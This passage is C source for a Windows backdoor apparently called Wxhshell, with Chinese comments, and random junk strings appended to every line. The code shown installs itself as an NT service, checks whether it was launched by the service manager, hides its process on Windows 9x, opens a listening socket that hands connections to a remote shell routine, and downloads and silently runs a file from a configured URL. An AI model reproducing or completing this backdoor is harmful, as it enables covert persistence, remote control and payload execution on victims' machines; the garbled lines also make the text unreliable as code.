DWORD ExitStatus; @oMl^UYM=
DWORD PebBaseAddress; /-3)^R2H
DWORD AffinityMask; .Ag)/Xm(?
DWORD BasePriority; Vf(n
ULONG UniqueProcessId; }-WuHh#
ULONG InheritedFromUniqueProcessId; wmX * n'l
} PROCESS_BASIC_INFORMATION; \FyHIs
3\P/4GK)
PROCNTQSIP NtQueryInformationProcess; YdAC<,e&A
".fnx8v,
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 00A2[gO9
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vmtmiN8;d
bgmOX&`G
HANDLE hProcess; DJ NM=v
PROCESS_BASIC_INFORMATION pbi; 16N`xw+{
Y3luU&'
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w6k^|."
if(NULL == hInst ) return 0; mw=keY9]
Fz_8m4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?vP}#N!=d
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e(-Vp7vXG
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4f,%@s)zn
}e,*'mCC*
if (!NtQueryInformationProcess) return 0; ?)+I'lW!
?~~,?Uxw!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NVo=5
if(!hProcess) return 0; <ZeZq
D)JI11a<
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0OVxx>p/x
`ve5>aw0_Y
CloseHandle(hProcess); Cx`?}A\%
&eX^ll
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }Q>??~mVl
if(hProcess==NULL) return 0; r6`KZ TU
,tOc+3Qz$
HMODULE hMod; ^(yU)k3pu
char procName[255]; mINir-
unsigned long cbNeeded; zDA;FKZPp
,W;2A0A?X
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y8O<_VOO}"
a 1pa#WC
CloseHandle(hProcess); }Xy<F?Mh
EXbhyg
if(strstr(procName,"services")) return 1; // 以服务启动 q^kOyA.
fYZ)5xnj
return 0; // 注册表启动 km!jxs
} <UO'&?G
+Tp>3Jh2
// 主模块 EWoGdH|
int StartWxhshell(LPSTR lpCmdLine) KZTT2KsYl
{ T$9tO{
SOCKET wsl; x-s]3'!L
BOOL val=TRUE; Y-:{a1/RKo
int port=0; sBu- \P#
struct sockaddr_in door; A!!W\Jt
p\/;^c`7
if(wscfg.ws_autoins) Install(); k7Xa|&fQP<
5?4jD]Z
port=atoi(lpCmdLine); \!:^=2VF
FDO$(&
if(port<=0) port=wscfg.ws_port; D7b]
;Nf\
Ja#ti y
WSADATA data;
WJ$!W
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ukRbSJ5a5
"EC,#$e%ev
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; HrQft1~N
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); djtCv;z
door.sin_family = AF_INET; F:rT.n
door.sin_addr.s_addr = inet_addr("127.0.0.1"); c4n]#((%a
door.sin_port = htons(port); ?i7}d@636
Ucz`^}+
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PWThm ooP
closesocket(wsl); iOzY8M+N(
return 1; (Puag*
} RI
jz7ZG
-XtDGNHF
if(listen(wsl,2) == INVALID_SOCKET) {
^iaG>rvA
closesocket(wsl); qY$/i#
return 1; G4eY}3F7,4
} $@cg+Xrg1
Wxhshell(wsl); .#y.:Pb|e
WSACleanup(); z>X<Di&x)
=h9&`iwiu
return 0; ns,qj}#
c)OQ_3xOs
} PF?tEw_WB
juQQ
// 以NT服务方式启动 }_L,Xg:I
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fm3B8Int
{ Ks@
DWORD status = 0; *XZlnO
DWORD specificError = 0xfffffff; 4r'f/s8"#
Dy_Za.N2
serviceStatus.dwServiceType = SERVICE_WIN32; y0D="2)
serviceStatus.dwCurrentState = SERVICE_START_PENDING; k&PxhDf
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *^q%b/ f
serviceStatus.dwWin32ExitCode = 0; c>%+y+b{
serviceStatus.dwServiceSpecificExitCode = 0; V.*0k~
serviceStatus.dwCheckPoint = 0; xr*hmp1
serviceStatus.dwWaitHint = 0; VUaYK
3jB5F0^r1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k-&fPEjG
if (hServiceStatusHandle==0) return; h}o7/p
#4e Taik
status = GetLastError(); yY$:zc"J
if (status!=NO_ERROR) yH0BNz8V
{ {@c)!%2$
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8QN#PaY
serviceStatus.dwCheckPoint = 0; OZ6gu$
n*
serviceStatus.dwWaitHint = 0; -mlBr63Bj
serviceStatus.dwWin32ExitCode = status; .Bu?=+O~
serviceStatus.dwServiceSpecificExitCode = specificError; ({}JvSn1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); eS/4g M7%
return; W7QcDR y6
} 2Po e-=
"
E
U[Lb
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8f37o/L
serviceStatus.dwCheckPoint = 0; |lOH
P A
serviceStatus.dwWaitHint = 0; \,i?WgWv
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VnB"0"%w
} b]Xc5Dp{
,dM}B-
// 处理NT服务事件,比如:启动、停止 { ke}W
VOID WINAPI NTServiceHandler(DWORD fdwControl)
mPy=,xYyC
{ G92Ya^`
switch(fdwControl) pPNU0]/
{ Q^qdm5}UkW
case SERVICE_CONTROL_STOP: R7)2@;i
serviceStatus.dwWin32ExitCode = 0; 6ZCSCBW
serviceStatus.dwCurrentState = SERVICE_STOPPED; PO,mg?JG(
serviceStatus.dwCheckPoint = 0; Bu\:+3 )
serviceStatus.dwWaitHint = 0; +&7D
;wj=
{ "r Bb2.
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XUrxnJ4
} qMrBTq[
return; '7UW\KEB[}
case SERVICE_CONTROL_PAUSE: M}]E,[
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4#o Lf1
break; ppjS|l*`
case SERVICE_CONTROL_CONTINUE: 4]F:QS%
x
serviceStatus.dwCurrentState = SERVICE_RUNNING; #&A)%Qbg
break; #G;0yB:76
case SERVICE_CONTROL_INTERROGATE: J1Ay^*qRU
break; ?n 9<PMo
}; yaiw|j`A
SetServiceStatus(hServiceStatusHandle, &serviceStatus); j`GL#J[wqQ
} t<Iy`r71
F|t3%dpj
// 标准应用程序主函数 }6;v`1Hr
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z9MT,
"
{ f,ajo
l
cHqg
// 获取操作系统版本 MY]Z@
OsIsNt=GetOsVer(); a&3pPfC
GetModuleFileName(NULL,ExeFile,MAX_PATH); dVh* a
h7iI=[_V
// 从命令行安装 %.
=B=*
if(strpbrk(lpCmdLine,"iI")) Install(); iB =R
'+6SkZ
// 下载执行文件 p_x@FA(
if(wscfg.ws_downexe) { nwOT%@nw
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Lc<v4Bp
WinExec(wscfg.ws_filenam,SW_HIDE); @pcmVsIp
} |#p`mc%f~\
L{py\4z'_
if(!OsIsNt) { U,?[x2LF
// 如果时win9x,隐藏进程并且设置为注册表启动 cN}Aeo
HideProc(); SLyeonM-C
StartWxhshell(lpCmdLine); :`~;~gW<
} k?%?EsR
else Bg"KNg
if(StartFromService()) Z=P]UD
// 以服务方式启动 +}eGCZra
StartServiceCtrlDispatcher(DispatchTable); rq;Xcc
else &R? \q*
// 普通方式启动 hx4X#_)v
StartWxhshell(lpCmdLine); 8CR b6
&Ff#E?Y4|
return 0; 1$&(ei]*:
}